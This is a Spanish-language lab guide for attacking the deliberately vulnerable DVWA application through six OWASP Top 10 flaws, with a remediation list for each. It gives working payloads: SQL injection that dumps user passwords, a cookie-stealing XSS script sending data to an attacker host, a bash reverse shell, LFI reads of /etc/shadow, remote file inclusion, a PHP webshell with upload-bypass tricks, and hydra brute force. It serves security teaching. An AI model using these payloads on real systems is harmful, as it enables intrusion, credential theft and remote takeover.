Lab 02 - Explotacion Web (OWASP Top 10)

Dificultad: Media | Duracion estimada: 4-5 horas | Herramientas: DVWA, Burp Suite, sqlmap, hydra

Objetivo

Practicar las vulnerabilidades web mas comunes del OWASP Top 10 contra DVWA (Damn Vulnerable Web Application). Por cada vulnerabilidad, realizaras la explotacion manual, luego con herramientas automatizadas, y finalmente documentaras la remediacion.

Advertencia: DVWA es una aplicacion deliberadamente vulnerable diseñada solo para fines educativos. Nunca apliques estas tecnicas contra aplicaciones en produccion sin autorizacion explicita por escrito. El acceso no autorizado a sistemas es un delito penal.


Preparacion del Entorno

Desplegar DVWA con Docker

  1. Despliega DVWA con Docker Compose:
mkdir -p ~/labs/lab02-web && cd ~/labs/lab02-web
 
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  dvwa:
    image: vulnerables/web-dvwa
    ports:
      - "8080:80"
    restart: unless-stopped
EOF
 
docker compose up -d
  1. Accede a DVWA en el navegador: http://localhost:8080
  2. Inicia sesion con las credenciales por defecto: admin / password
  3. Ve a DVWA Security y configura el nivel en Low para empezar
  4. Pulsa Create / Reset Database si es la primera vez

Configurar Burp Suite

  1. Abre Burp Suite Community Edition
  2. Configura el proxy del navegador en 127.0.0.1:8080 (usa FoxyProxy)
  3. Verifica que interceptas peticiones hacia DVWA

Ejercicio 1: SQL Injection

Explotacion manual

  1. Navega a SQL Injection en DVWA
  2. Introduce un ID normal para ver el comportamiento esperado:
1
  1. Prueba una inyeccion basica para detectar la vulnerabilidad:
1' OR '1'='1
  1. Extrae informacion de la base de datos paso a paso:
-- Determinar numero de columnas
1' ORDER BY 1#
1' ORDER BY 2#
1' ORDER BY 3#   -- Este falla: hay 2 columnas
 
-- Extraer nombre de la base de datos
1' UNION SELECT database(), user()#
 
-- Listar tablas
1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()#
 
-- Extraer columnas de la tabla users
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'#
 
-- Extraer usuarios y contraseñas
1' UNION SELECT user, password FROM users#

Explotacion con sqlmap

  1. Captura la peticion vulnerable con Burp Suite y guardala en un archivo:
# Alternativa: usar sqlmap directamente con la URL y cookie
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<TU_SESION>;security=low" \
  --dbs
  1. Extrae las tablas y datos:
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=<TU_SESION>;security=low" \
  -D dvwa -T users --dump

Remediacion

  • Usar consultas parametrizadas (prepared statements)
  • Validar y sanear toda entrada del usuario
  • Aplicar el principio de minimo privilegio a las cuentas de base de datos

Ejercicio 2: Cross-Site Scripting (XSS)

XSS Reflejado

  1. Navega a XSS (Reflected) en DVWA
  2. Introduce un payload basico:
<script>alert('XSS')</script>
  1. Prueba un payload que robe cookies:
<script>document.location='http://TU_IP:9999/?c='+document.cookie</script>
  1. Levanta un listener para capturar la cookie:
# En tu maquina atacante
python3 -m http.server 9999

XSS Almacenado

  1. Navega a XSS (Stored) en DVWA
  2. En el campo de mensaje del libro de visitas, introduce:
<script>alert('XSS Almacenado')</script>
  1. Observa que el script se ejecuta cada vez que alguien visita la pagina.

Remediacion

  • Codificar la salida HTML con htmlspecialchars() o equivalente
  • Implementar Content Security Policy (CSP) en las cabeceras HTTP
  • Validar entrada en el servidor, nunca confiar solo en el cliente

Ejercicio 3: Command Injection

  1. Navega a Command Injection en DVWA
  2. Introduce una IP normal para ver el comportamiento esperado:
127.0.0.1
  1. Encadena un comando del sistema:
127.0.0.1; whoami
127.0.0.1; cat /etc/passwd
127.0.0.1 && ls -la /var/www/html
  1. Prueba obtener una reverse shell:
127.0.0.1; bash -c 'bash -i >& /dev/tcp/TU_IP/4444 0>&1'
  1. Prepara el listener antes de enviar:
nc -lvnp 4444

Remediacion

  • Nunca pasar entrada del usuario directamente a funciones del sistema
  • Usar listas blancas de caracteres permitidos
  • Emplear funciones especificas en lugar de llamadas al shell (por ejemplo, inet_aton() para validar IPs)

Ejercicio 4: File Inclusion (LFI)

  1. Navega a File Inclusion en DVWA
  2. Observa la URL: ?page=include.php
  3. Intenta leer archivos del sistema:
?page=../../../../../../etc/passwd
?page=../../../../../../etc/shadow
  1. Intenta leer el codigo fuente de la aplicacion:
?page=php://filter/convert.base64-encode/resource=../../../var/www/html/config/config.inc.php
  1. Decodifica el resultado:
echo "<BASE64_OBTENIDO>" | base64 -d
  1. Si hay inclusion remota habilitada (RFI), prueba:
?page=http://TU_IP/shell.php

Remediacion

  • Usar listas blancas de archivos permitidos
  • Desactivar allow_url_include en php.ini
  • No pasar nombres de archivo como parametros del usuario

Ejercicio 5: File Upload

  1. Navega a File Upload en DVWA
  2. Crea un webshell PHP simple:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
  1. Sube el archivo shell.php directamente (nivel Low lo permite)
  2. Accede al webshell:
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami
http://localhost:8080/hackable/uploads/shell.php?cmd=cat+/etc/passwd
  1. Para niveles de seguridad mas altos, prueba bypass de extension:
# Doble extension
cp shell.php shell.php.jpg
 
# Null byte (versiones antiguas de PHP)
cp shell.php shell.php%00.jpg
 
# Cambiar Content-Type en Burp Suite a image/jpeg

Remediacion

  • Validar tipo MIME y extension en el servidor
  • Almacenar archivos subidos fuera del webroot
  • Renombrar archivos subidos con nombres aleatorios
  • Deshabilitar ejecucion de scripts en directorios de subida

Ejercicio 6: Brute Force

  1. Navega a Brute Force en DVWA
  2. Usa hydra para atacar el formulario de login:
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  localhost -s 8080 \
  http-get-form \
  "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect:H=Cookie: PHPSESSID=<TU_SESION>;security=low"
  1. Alternativa con Burp Suite Intruder:
    • Captura la peticion de login en Burp
    • Envia a Intruder (Ctrl+I)
    • Marca el campo password como posicion
    • Carga una lista de contraseñas como payload
    • Observa la longitud de respuesta diferente para la contraseña correcta

Remediacion

  • Implementar limites de intentos (rate limiting) y bloqueo temporal
  • Usar CAPTCHA despues de varios intentos fallidos
  • Implementar autenticacion multifactor (MFA)
  • Monitorizar y alertar sobre intentos de fuerza bruta

Resumen de Vulnerabilidades y Remediaciones

VulnerabilidadVector de ataqueRemediacion principal
SQL InjectionEntrada no saneada en consultas SQLPrepared statements
XSSSalida no codificada en HTMLhtmlspecialchars() + CSP
Command InjectionEntrada pasada a funciones del sistemaListas blancas, no usar shell
LFI/RFIParametros de archivo controlados por usuarioListas blancas de archivos
File UploadValidacion insuficiente de archivosValidar tipo, extension, almacenar fuera del webroot
Brute ForceSin limites de intentosRate limiting, MFA, CAPTCHA

Limpieza

  1. Detener y eliminar el contenedor:
cd ~/labs/lab02-web
docker compose down

Siguiente Lab

Continua con Lab 03 - Escalada de Privilegios para aprender a escalar desde un acceso inicial hasta root.